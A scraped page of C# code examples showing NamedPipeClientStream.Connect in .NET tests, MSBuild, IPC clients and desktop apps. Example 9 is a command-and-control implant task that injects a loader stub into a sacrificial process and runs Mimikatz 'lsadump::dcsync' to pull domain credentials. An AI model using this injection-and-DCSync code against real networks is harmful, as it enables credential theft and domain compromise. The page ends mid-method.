Ejemplo n.º 1
0
        public static bool Connect()
        {
            if (_tron != null)
            {
                return(Connected);
            }
            if (!EnableTronWindow || !ReConnect.Timeout)
            {
                return(false);
            }

            try
            {
                lock (CheckState)
                {
                    _tron = new NamedPipeClientStream(".", PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
                    _tron?.Connect(10);
                }
            }
            catch (Exception)
            {
                Disconnect();
            }

            ReConnect.Start(TimeSpan.FromSeconds(30));
            return(Connected);
        }
Ejemplo n.º 2
0
 public void InvalidConnectTimeout_Throws_ArgumentOutOfRangeException()
 {
     using (NamedPipeClientStream client = new NamedPipeClientStream("client1"))
     {
         Assert.Throws<ArgumentOutOfRangeException>("timeout", () => client.Connect(-111));
         Assert.Throws<ArgumentOutOfRangeException>("timeout", () => { client.ConnectAsync(-111); });
     }
 }
Ejemplo n.º 3
0
 public async Task ConnectToNonExistentServer_Throws_TimeoutException()
 {
     using (NamedPipeClientStream client = new NamedPipeClientStream(".", "notthere"))
     {
         var ctx = new CancellationTokenSource();
         Assert.Throws<TimeoutException>(() => client.Connect(60));  // 60 to be over internal 50 interval
         await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(50));
         await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(60, ctx.Token)); // testing Token overload; ctx is not canceled in this test
     }
 }
Ejemplo n.º 4
0
 private static int ClientConnectAsID(string pipeName, string pairIDString)
 {
     uint pairID = uint.Parse(pairIDString);
     using (var inbound = new NamedPipeClientStream(".", pipeName, PipeDirection.In))
     {
         Assert.NotEqual(-1, seteuid(pairID));
         inbound.Connect();
     }
     return SuccessExitCode;
 }
        protected override ServerClientPair CreateServerClientPair()
        {
            ServerClientPair ret = new ServerClientPair();
            string pipeName = GetUniquePipeName();
            var readablePipe = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
            var writeablePipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous);

            Task serverConnect = Task.Factory.FromAsync(readablePipe.BeginWaitForConnection, readablePipe.EndWaitForConnection, null);
            writeablePipe.Connect();
            serverConnect.Wait();

            ret.readablePipe = readablePipe;
            ret.writeablePipe = writeablePipe;
            return ret;
        }
Ejemplo n.º 6
0
        public async Task RunAsClient_Windows()
        {
            string pipeName = Path.GetRandomFileName();
            using (var server = new NamedPipeServerStream(pipeName))
            using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation))
            {
                Task serverTask = server.WaitForConnectionAsync();

                client.Connect();
                await serverTask;

                bool ran = false;
                server.RunAsClient(() => ran = true);
                Assert.True(ran, "Expected delegate to have been invoked");
            }
        }
Ejemplo n.º 7
0
        [PlatformSpecific(PlatformID.Windows)] // Unix implementation uses bidirectional sockets
        public void ConnectWithConflictingDirections_Throws_UnauthorizedAccessException()
        {
            string serverName1 = GetUniquePipeName();
            using (NamedPipeServerStream server = new NamedPipeServerStream(serverName1, PipeDirection.Out))
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName1, PipeDirection.Out))
            {
                Assert.Throws<UnauthorizedAccessException>(() => client.Connect());
                Assert.False(client.IsConnected);
            }

            string serverName2 = GetUniquePipeName();
            using (NamedPipeServerStream server = new NamedPipeServerStream(serverName2, PipeDirection.In))
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName2, PipeDirection.In))
            {
                Assert.Throws<UnauthorizedAccessException>(() => client.Connect());
                Assert.False(client.IsConnected);
            }
        }
Ejemplo n.º 8
0
        static void Main(string[] args)
        {
            if (args.Length < 6)
            {
                return;
            }

            //var dir = @"..\..\..\ShibugakiViewer\bin\Debug\";
            //var serverPath = @"ShibugakiViewer.exe";

            /*
             * var mode = "/w";
             *
             * var serverFullPath = @"..\..\..\ShibugakiViewer\bin\Debug\ShibugakiViewer.exe";
             *
             * var saveDirectory = Path.Combine(System.Environment.GetFolderPath
             *  (Environment.SpecialFolder.LocalApplicationData),
             *  "Boredbone", "ShibugakiViewer");
             *
             * var mutexId = "79509481-1f8d-44b0-a581-d0dd4fa23710";
             * var pipeId = "1af9b56b-4195-4b99-9893-1edfb2f84cbe";
             *
             * var files = new[] { "library.db", "libsettings.config", "appsettings.config" };
             *
             * var workingDirectory = System.AppDomain.CurrentDomain.BaseDirectory;
             */
            /*
             * args = new[]
             * {
             *  "/c",
             *  @"..\..\..\ShibugakiViewer\bin\Debug\ShibugakiViewer.exe",
             *  Path.Combine(System.Environment.GetFolderPath
             *  (Environment.SpecialFolder.LocalApplicationData),
             *  "Boredbone", "ShibugakiViewer"),
             *  "79509481-1f8d-44b0-a581-d0dd4fa23710",
             *  "1af9b56b-4195-4b99-9893-1edfb2f84cbe",
             *  "appsettings.config",
             *    Path.Combine(System.Environment.GetFolderPath
             *  (Environment.SpecialFolder.LocalApplicationData),
             *    @"Packages\60037Boredbone.MikanViewer_8weh06aq8rfkj\LocalState"),
             *    "3",
             * };*/

            args = args.Select(x =>
            {
                if (x.StartsWith("\"") && x.EndsWith("\""))
                {
                    x = x.Substring(1, x.Length - 2);
                }
                return(x);
            }).ToArray();

            var modeText         = args[0]?.ToLower();
            var serverFullPath   = args[1];
            var saveDirectory    = args[2];
            var mutexId          = args[3];
            var pipeId           = args[4];
            var files            = args.Skip(5).ToArray();
            var workingDirectory = Path.GetDirectoryName(serverFullPath);


            var filter = "ShibugakiViewer Library (*.svl)|*.svl";

            var fileName = $"ShibugakiViewerLibrary_{DateTime.Now.ToString("yyyyMMddHHmm")}.svl";

            if (modeText == null)
            {
                return;
            }

            Mode mode;

            switch (modeText)
            {
            case "/w":
                mode = Mode.Export;
                break;

            case "/r":
                mode = Mode.Import;
                break;

            case "/c":
                mode = Mode.Convert;
                break;

            default:
                return;
            }

            string modeLabel;

            switch (mode)
            {
            case Mode.Export:
                modeLabel = "Export";
                break;

            case Mode.Import:
                modeLabel = "Import";
                break;

            case Mode.Convert:
                modeLabel = "Converter";
                break;

            default:
                modeLabel = "";
                break;
            }

            Console.WriteLine("ShibugakiViewer Library " + modeLabel);
            Console.WriteLine("Processing...");

            try
            {
                using (var mutex = new Mutex(false, mutexId))
                {
                    var hasMutex = false;
                    try
                    {
                        if (!mutex.WaitOne(0, false))
                        {
                            //ミューテックス取得失敗
                            //稼働中のアプリケーションを終了

                            using (var pipeClient =
                                       new NamedPipeClientStream(".", pipeId, PipeDirection.Out))
                            {
                                pipeClient.Connect(300);

                                // Read user input and send that to the client process.
                                using (var sw = new StreamWriter(pipeClient)
                                {
                                    AutoFlush = true
                                })
                                {
                                    sw.WriteLine("?exit");
                                }
                            }

                            if (mutex.WaitOne(10000, false))
                            {
                                hasMutex = true;
                            }
                        }
                        else
                        {
                            hasMutex = true;
                        }
                    }
                    catch (AbandonedMutexException)
                    {
                    }

                    try
                    {
                        //ライブラリの圧縮または解凍
                        switch (mode)
                        {
                        case Mode.Export:
                            Save(files, saveDirectory, filter, fileName);
                            break;

                        case Mode.Import:
                            Load(files, saveDirectory, filter);
                            break;

                        case Mode.Convert:
                            var version = 0;
                            int.TryParse(files[2], out version);
                            new Compat()
                            .ConvertOldLibraryAsync(saveDirectory, files[0], files[1], version)
                            .Wait();
                            break;
                        }

                        Console.WriteLine("Done");
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine(e.ToString());
                        Console.ReadLine();
                        return;
                    }
                    finally
                    {
                        //ミューテックスを保持していたら解放
                        if (hasMutex)
                        {
                            mutex.ReleaseMutex();
                            mutex.Close();
                        }
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                //foreach (var l in args)
                //{
                //    Console.WriteLine(l);
                //}
                Console.ReadLine();
                return;
            }

            try
            {
                //var path = serverFullPath;// Path.Combine(dir, serverPath);

                //アプリ起動
                var psi = new ProcessStartInfo()
                {
                    FileName         = serverFullPath,
                    WorkingDirectory = workingDirectory,
                    UseShellExecute  = false,
                };

                System.Diagnostics.Process.Start(psi);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.ReadLine();
                return;
            }
        }
Ejemplo n.º 9
0
        public static void DCSync(Job job, Agent implant)
        {
            DCSyncParameters dcsParams;
            Task             task = job.Task;
            string           command;
            string           sacrificialApplication;
            string           commandLine = "";
            string           loaderStubID;
            string           pipeName;
            JObject          json;
            List <string>    output        = new List <string>();
            string           formatCommand = "\"lsadump::dcsync /domain:{0} /user:{1}\"";

            dcsParams = JsonConvert.DeserializeObject <DCSyncParameters>(job.Task.parameters);
            if (string.IsNullOrEmpty(dcsParams.domain))
            {
                job.SetError("Missing required parameter: domain");
                return;
            }

            if (string.IsNullOrEmpty(dcsParams.user))
            {
                job.SetError("Missing required parameter: user");
                return;
            }

            if (dcsParams.domain.Split(' ').Length > 1)
            {
                job.SetError($"Invalid domain: {dcsParams.domain}");
                return;
            }

            if (dcsParams.user.Split(' ').Length > 1)
            {
                job.SetError($"Invalid user: {dcsParams.user}");
                return;
            }

            command = string.Format(formatCommand, dcsParams.domain, dcsParams.user);

            byte[] loaderStub;

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;


            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, dcsParams.loader_stub_id, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", dcsParams.loader_stub_id));
                return;
            }

            pipeName = dcsParams.pipe_name;
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                job.SetComplete(output.ToArray());
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in DCSync (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in DCSync. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
Ejemplo n.º 10
0
        /********************************************************************************************************/
        // INTERFACE SECTION
        /********************************************************************************************************/
        #region -- ICommunicationClient implementation --

        public void Start()
        {
            _pipeClient.Connect(TRY_CONNECT_TIMEOUT);
        }
Ejemplo n.º 11
0
        public void StopInputProcessing()
        {
            NamedPipeClientStream namedPipeClient = null;
            StreamWriter          streamWriter    = null;

            stopThreads = true;

            if (this.pipeStream == null)
            {
                return;
            }

            for (var i = 0; i < Config.PipeInstances; i++)
            {
                try
                {
                    ClosePipeStream(this.pipeStream[i], this.streamReader[i]);
                    namedPipeClient = new NamedPipeClientStream(".", Config.PipeName, PipeDirection.InOut);
                    streamWriter    = new StreamWriter(namedPipeClient);
                    namedPipeClient.Connect(500);
                    streamWriter.AutoFlush = true;
                    streamWriter.WriteLine("QUIT\r\n");
                    streamWriter.Close();

                    namedPipeClient.Close();
                    namedPipeClient = null;
                }
                catch (TimeoutException tex)
                {
                    LogCons.Inst.Write(LogLevel.Error, $"{tex.StackTrace}\n{tex.ToString()}");
                }
                catch (Exception ex)
                {
                    LogCons.Inst.Write(LogLevel.Error, $"An error occurred while starting the sniffer : {ex.StackTrace}\n{ex.ToString()}");
                }
                finally
                {
                    if (streamWriter != null)
                    {
                        Minary.Common.Utils.TryExecute2(streamWriter.Close);
                    }

                    if (namedPipeClient != null)
                    {
                        Minary.Common.Utils.TryExecute2(namedPipeClient.Close);
                        namedPipeClient = null;
                    }
                }
            }

            for (var i = 0; i < Config.PipeInstances; i++)
            {
                if (this.pipeStream == null || this.pipeStream[i] == null)
                {
                    continue;
                }

                try
                {
                    this.pipeStream[i].Disconnect();
                    this.pipeStream[i].Close();
                    this.pipeStream[i].Dispose();
                }
                catch
                {
                }
            }
        }
Ejemplo n.º 12
0
            private void PipeThread(object id)
            {
                try
                {
                    using (var pipe = new NamedPipeClientStream(".", (string)id + "\\root", PipeDirection.In))
                    {
                        pipe.Connect();

                        BinaryReader rd = new BinaryReader(pipe);

                        for (;;)
                        {
                            lock (mSync)
                                if (mShutdown)
                                    return;

                            int op = pipe.ReadByte();
                            if (op < 0)
                                return;

                            ProcessPipeThreadEvent(rd, op);
                        }
                    }
                }
                catch (Exception ex)
                {
                    lock (mSync)
                        mError.Add(ex);
                }
            }
Ejemplo n.º 13
0
        /// <summary>
        /// Attempts to connect to the specified process.
        /// </summary>
        private Stream TryConnectToProcess(int nodeProcessId, int timeout, long hostHandshake, long clientHandshake)
        {
            // Try and connect to the process.
            string pipeName = "MSBuild" + nodeProcessId;

            NamedPipeClientStream nodeStream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous
#if FEATURE_PIPEOPTIONS_CURRENTUSERONLY
                                                                         | PipeOptions.CurrentUserOnly
#endif
                                                                         );

            CommunicationsUtilities.Trace("Attempting connect to PID {0} with pipe {1} with timeout {2} ms", nodeProcessId, pipeName, timeout);

            try
            {
                nodeStream.Connect(timeout);

#if !MONO && !FEATURE_PIPEOPTIONS_CURRENTUSERONLY
                if (NativeMethodsShared.IsWindows)
                {
                    // Verify that the owner of the pipe is us.  This prevents a security hole where a remote node has
                    // been faked up with ACLs that would let us attach to it.  It could then issue fake build requests back to
                    // us, potentially causing us to execute builds that do harmful or unexpected things.  The pipe owner can
                    // only be set to the user's own SID by a normal, unprivileged process.  The conditions where a faked up
                    // remote node could set the owner to something else would also let it change owners on other objects, so
                    // this would be a security flaw upstream of us.
                    ValidateRemotePipeSecurityOnWindows(nodeStream);
                }
#endif

                CommunicationsUtilities.Trace("Writing handshake to pipe {0}", pipeName);
                nodeStream.WriteLongForHandshake(hostHandshake);

                CommunicationsUtilities.Trace("Reading handshake from pipe {0}", pipeName);
#if NETCOREAPP2_1
                long handshake = nodeStream.ReadLongForHandshake(timeout);
#else
                long handshake = nodeStream.ReadLongForHandshake();
#endif

                if (handshake != clientHandshake)
                {
                    CommunicationsUtilities.Trace("Handshake failed. Received {0} from client not {1}. Probably the client is a different MSBuild build.", handshake, clientHandshake);
                    throw new InvalidOperationException();
                }

                // We got a connection.
                CommunicationsUtilities.Trace("Successfully connected to pipe {0}...!", pipeName);
                return(nodeStream);
            }
            catch (Exception e)
            {
                if (ExceptionHandling.IsCriticalException(e))
                {
                    throw;
                }

                // Can be:
                // UnauthorizedAccessException -- Couldn't connect, might not be a node.
                // IOException -- Couldn't connect, already in use.
                // TimeoutException -- Couldn't connect, might not be a node.
                // InvalidOperationException – Couldn’t connect, probably a different build
                CommunicationsUtilities.Trace("Failed to connect to pipe {0}. {1}", pipeName, e.Message.TrimEnd());

                // If we don't close any stream, we might hang up the child
                if (nodeStream != null)
                {
                    nodeStream.Dispose();
                }
            }

            return(null);
        }
Ejemplo n.º 14
0
        /// <summary>
        /// Attempts to connect to the specified process.
        /// </summary>
        private Stream TryConnectToProcess(int nodeProcessId, int timeout, Handshake handshake)
        {
            // Try and connect to the process.
            string pipeName = NamedPipeUtil.GetPipeNameOrPath("MSBuild" + nodeProcessId);

            NamedPipeClientStream nodeStream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous
#if FEATURE_PIPEOPTIONS_CURRENTUSERONLY
                                                                         | PipeOptions.CurrentUserOnly
#endif
                                                                         );

            CommunicationsUtilities.Trace("Attempting connect to PID {0} with pipe {1} with timeout {2} ms", nodeProcessId, pipeName, timeout);

            try
            {
                nodeStream.Connect(timeout);

#if !FEATURE_PIPEOPTIONS_CURRENTUSERONLY
                if (NativeMethodsShared.IsWindows && !NativeMethodsShared.IsMono)
                {
                    // Verify that the owner of the pipe is us.  This prevents a security hole where a remote node has
                    // been faked up with ACLs that would let us attach to it.  It could then issue fake build requests back to
                    // us, potentially causing us to execute builds that do harmful or unexpected things.  The pipe owner can
                    // only be set to the user's own SID by a normal, unprivileged process.  The conditions where a faked up
                    // remote node could set the owner to something else would also let it change owners on other objects, so
                    // this would be a security flaw upstream of us.
                    ValidateRemotePipeSecurityOnWindows(nodeStream);
                }
#endif

                int[] handshakeComponents = handshake.RetrieveHandshakeComponents();
                for (int i = 0; i < handshakeComponents.Length; i++)
                {
                    CommunicationsUtilities.Trace("Writing handshake part {0} ({1}) to pipe {2}", i, handshakeComponents[i], pipeName);
                    nodeStream.WriteIntForHandshake(handshakeComponents[i]);
                }

                // This indicates that we have finished all the parts of our handshake; hopefully the endpoint has as well.
                nodeStream.WriteEndOfHandshakeSignal();

                CommunicationsUtilities.Trace("Reading handshake from pipe {0}", pipeName);

#if NETCOREAPP2_1_OR_GREATER || MONO
                nodeStream.ReadEndOfHandshakeSignal(true, timeout);
#else
                nodeStream.ReadEndOfHandshakeSignal(true);
#endif
                // We got a connection.
                CommunicationsUtilities.Trace("Successfully connected to pipe {0}...!", pipeName);
                return(nodeStream);
            }
            catch (Exception e) when(!ExceptionHandling.IsCriticalException(e))
            {
                // Can be:
                // UnauthorizedAccessException -- Couldn't connect, might not be a node.
                // IOException -- Couldn't connect, already in use.
                // TimeoutException -- Couldn't connect, might not be a node.
                // InvalidOperationException – Couldn’t connect, probably a different build
                CommunicationsUtilities.Trace("Failed to connect to pipe {0}. {1}", pipeName, e.Message.TrimEnd());

                // If we don't close any stream, we might hang up the child
                nodeStream?.Dispose();
            }

            return(null);
        }
Ejemplo n.º 15
0
        public void NameTooLong_MaxLengthPerPlatform()
        {
            // Increase a name's length until it fails
            ArgumentOutOfRangeException e = null;
            string name = Path.GetRandomFileName();
            for (int i = 0; ; i++)
            {
                try
                {
                    name += 'c';
                    using (var s = new NamedPipeServerStream(name))
                    using (var c = new NamedPipeClientStream(name))
                    {
                        Task t = s.WaitForConnectionAsync();
                        c.Connect();
                        t.GetAwaiter().GetResult();
                    }
                }
                catch (ArgumentOutOfRangeException exc)
                {
                    e = exc;
                    break;
                }
            }
            Assert.NotNull(e);
            Assert.NotNull(e.ActualValue);

            // Validate the length was expected
            string path = (string)e.ActualValue;
            if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))
            {
                Assert.Equal(108, path.Length);
            }
            else if (RuntimeInformation.IsOSPlatform(OSPlatform.OSX))
            {
                Assert.Equal(104, path.Length);
            }
            else
            {
                Assert.InRange(path.Length, 92, int.MaxValue);
            }
        }
        public static void Run(bool sendKillSig = false)
        {
            NamedPipeClientStream pipeClient = null;

            try
            {
                RESEND :;
                for (int c = 0; c < 1;)
                {
                    // ----------------------------------------------------------------------------------------------------------------
                    // Try to open the named pipe identified by the pipe name.
                    pipeClient = new NamedPipeClientStream(
                        Program.ServerName,         // The server name
                        Program.PipeName,           // The unique pipe name
                        PipeDirection.InOut,        // The pipe is duplex
                        PipeOptions.None            // No additional parameters
                        );

                    pipeClient.Connect(5000);
                    Console.WriteLine("[IPC Client Connected] - Pipe Name: \"{0}\"", Program.FullPipeName);

                    pipeClient.ReadMode = PipeTransmissionMode.Message;

                    // ----------------------------------------------------------------------------------------------------------------
                    // Send our request to server
                    string message = "";
                    if (sendKillSig)
                    {
                        message = Program.KillRequestMessage;
                    }
                    else
                    {
                        message = Program.RequestMessage;
                    }

                    byte[] bRequest  = Encoding.UTF8.GetBytes(message);
                    int    cbRequest = bRequest.Length;
                    pipeClient.Write(bRequest, 0, cbRequest);
                    pipeClient.WaitForPipeDrain();

                    Console.WriteLine("[IPC Client Sent {0} bytes] Message: {1}", cbRequest, message);

                    // ----------------------------------------------------------------------------------------------------------------
                    // Receive acknowledgement from server.
                    string msg    = "";
                    var    reader = new StreamReader(pipeClient);
                    msg = reader.ReadToEnd();

                    byte[] tmp = Encoding.UTF8.GetBytes(msg);

                    string tmpStr = Encoding.UTF8.GetString(tmp).Replace("\0", "");
                    Console.WriteLine("[IPC Client Received {0} bytes] Message: {1}", tmp.Length, tmpStr);

                    c++;

                    if (tmpStr != "MSG_RECEIVED")
                    {
                        goto RESEND;
                    }
                    else
                    {
                        goto ENDLOOP;
                    }
                }

                ENDLOOP :;
                // ----------------------------------------------------------------------------------------------------------------
                // Close the pipe
                pipeClient.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine("[IPC Client ERROR] - {0}", ex.Message);
            }
            finally
            {
                // Close the pipe.
                if (pipeClient != null)
                {
                    pipeClient.Close();
                    pipeClient = null;
                }
            }
        }
Ejemplo n.º 17
0
        public async Task Unix_GetImpersonationUserName_Succeed()
        {
            string pipeName = GetUniquePipeName();

            using (var server = new NamedPipeServerStream(pipeName))
            using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation))
            {
                Task serverTask = server.WaitForConnectionAsync();

                client.Connect();
                await serverTask;

                string name = server.GetImpersonationUserName();
                Assert.NotNull(name);
                Assert.False(string.IsNullOrWhiteSpace(name));
            }
        }
Ejemplo n.º 18
0
        public static async Task ClientTryConnectedThrows()
        {
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", "notthere"))
            {
                var ctx = new CancellationTokenSource();

                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) // [ActiveIssue(812, PlatformID.AnyUnix)] - Unix implementation currently ignores timeout and cancellation token once the operation has been initiated
                {
                    Assert.Throws<TimeoutException>(() => client.Connect(60));  // 60 to be over internal 50 interval
                    await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(50));
                    await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(60, ctx.Token));

                    Task clientConnectToken = client.ConnectAsync(ctx.Token);
                    ctx.Cancel();
                    await Assert.ThrowsAnyAsync<OperationCanceledException>(() => clientConnectToken);
                }

                ctx.Cancel();
                await Assert.ThrowsAnyAsync<OperationCanceledException>(() => client.ConnectAsync(ctx.Token));
            }
        }
Ejemplo n.º 19
0
        [PlatformSpecific(PlatformID.Windows)] // Win32 P/Invokes to verify the user name
        public async Task Windows_GetImpersonationUserName_Succeed()
        {
            string pipeName = GetUniquePipeName();

            using (var server = new NamedPipeServerStream(pipeName))
            {
                using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation))
                {
                    string expectedUserName;
                    Task serverTask = server.WaitForConnectionAsync();

                    client.Connect();
                    await serverTask;

                    Assert.True(Interop.TryGetImpersonationUserName(server.SafePipeHandle, out expectedUserName), "GetNamedPipeHandleState failed");
                    Assert.Equal(expectedUserName, server.GetImpersonationUserName());
                }
            }
        }
Ejemplo n.º 20
0
        public static async Task ClientAllReadyConnectedThrows()
        {
            using (NamedPipeServerStream server = new NamedPipeServerStream("testServer1", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous))
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", "testServer1", PipeDirection.InOut, PipeOptions.Asynchronous))
            {
                byte[] buffer = new byte[] { 0, 0, 0, 0 };

                Task clientConnect1 = client.ConnectAsync();
                server.WaitForConnection();
                await clientConnect1;

                Assert.True(client.IsConnected);
                Assert.True(server.IsConnected);

                Assert.Throws<InvalidOperationException>(() => client.Connect());

                var ctx = new CancellationTokenSource();
                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) // [ActiveIssue(812, PlatformID.AnyUnix)] - the cancellation token is ignored after the operation is initiated, due to base Stream's implementation
                {
                    Task clientReadToken = client.ReadAsync(buffer, 0, buffer.Length, ctx.Token);
                    ctx.Cancel();
                    await Assert.ThrowsAnyAsync<OperationCanceledException>(() => clientReadToken);
                }
                ctx.Cancel();
                Assert.True(client.ReadAsync(buffer, 0, buffer.Length, ctx.Token).IsCanceled);

                var ctx1 = new CancellationTokenSource();
                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) // [ActiveIssue(812, PlatformID.AnyUnix)] - the cancellation token is ignored after the operation is initiated, due to base Stream's implementation
                {
                    Task serverReadToken = server.ReadAsync(buffer, 0, buffer.Length, ctx1.Token);
                    ctx1.Cancel();
                    await Assert.ThrowsAnyAsync<OperationCanceledException>(() => serverReadToken);
                }
                ctx1.Cancel();
                Assert.True(server.ReadAsync(buffer, 0, buffer.Length, ctx1.Token).IsCanceled);
            }
        }
Ejemplo n.º 21
0
 public Context(Session session, int id, bool isMainThread)
 {
     mIsMainThread = isMainThread;
     mSession = session;
     mKey = mSession.mKey + "\\" + id.ToString("x8");
     mPipe = new NamedPipeClientStream(".", mKey, PipeDirection.InOut);
     mPipe.Connect();
     mReader = new BinaryReader(mPipe);
     mWriter = new BinaryWriter(mPipe);
 }
Ejemplo n.º 22
0
        public void Windows_MessagePipeTransissionMode()
        {
            byte[] msg1 = new byte[] { 5, 7, 9, 10 };
            byte[] msg2 = new byte[] { 2, 4 };
            byte[] received1 = new byte[] { 0, 0, 0, 0 };
            byte[] received2 = new byte[] { 0, 0 };
            byte[] received3 = new byte[] { 0, 0, 0, 0 }; ;
            string pipeName = GetUniquePipeName();

            using (NamedPipeServerStream server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Message))
            {
                using (NamedPipeClientStream client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, Security.Principal.TokenImpersonationLevel.Identification))
                {
                    server.ReadMode = PipeTransmissionMode.Message;
                    Assert.Equal(PipeTransmissionMode.Message, server.ReadMode);

                    Task clientTask = Task.Run(() =>
                    {
                        client.Connect();

                        client.Write(msg1, 0, msg1.Length);
                        client.Write(msg2, 0, msg2.Length);
                        client.Write(msg1, 0, msg1.Length);

                        int serverCount = client.NumberOfServerInstances;
                        Assert.Equal(1, serverCount);
                    });

                    server.WaitForConnection();
                    int len1 = server.Read(received1, 0, msg1.Length);
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg1.Length, len1);
                    Assert.Equal(msg1, received1);

                    int len2 = server.Read(received2, 0, msg2.Length);
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg2.Length, len2);
                    Assert.Equal(msg2, received2);

                    int len3 = server.Read(received3, 0, msg1.Length - 1);  // read one less than message
                    Assert.False(server.IsMessageComplete);
                    Assert.Equal(msg1.Length - 1, len3);

                    int len4 = server.Read(received3, len3, received3.Length - len3);
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg1.Length, len3 + len4);
                    Assert.Equal(msg1, received3);

                    string userName = server.GetImpersonationUserName();    // not sure what to test here that will work in all cases
                }
            }
        }
Ejemplo n.º 23
0
 void CreateClientPipe()
 {
     pipeStream = new NamedPipeClientStream(".", PipesCommon.CarDvrPipeName, PipeDirection.InOut);
     pipeStream.Connect(10000);
 }
Ejemplo n.º 24
0
        protected override void OnStartup(StartupEventArgs e)
        {
            List <string> filePaths = new List <string>();

            if (e.Args != null)
            {
                filePaths = new List <string>(e.Args);
            }

            // Exit application if already running.
            if (!mutex.WaitOne(TimeSpan.Zero, true))
            {
                if (e.Args != null)
                {
                    using (var client = new NamedPipeClientStream(id))
                        using (var writer = new BinaryWriter(client))
                        {
                            if (filePaths.Count != 0)
                            {
                                client.Connect(3000);
                                string filePathsString = "";
                                foreach (string filePath in filePaths)
                                {
                                    filePathsString += filePath + "\n";
                                }

                                filePathsString = filePathsString.Remove(filePathsString.Length - 1);
                                writer.Write(filePathsString);
                            }
                        }
                }

                Current.Shutdown();
            }

            else
            {
                base.OnStartup(e);
                main = new Main(new List <string>(e.Args));

                listen = new Thread(() =>
                {
                    while (true)
                    {
                        using (NamedPipeServerStream server = new NamedPipeServerStream(id))
                        {
                            server.WaitForConnection();

                            using (var reader = new BinaryReader(server))
                            {
                                string arguments = reader.ReadString();
                                filePaths        = new List <string>(arguments.Split('\n'));
                                main.AddTorrents(filePaths);
                            }
                        }
                    }
                });

                listen.IsBackground = true;
                listen.Start();
            }
        }
Ejemplo n.º 25
0
        public override void ExecuteCommand(EvtChatCommandArgs args)
        {
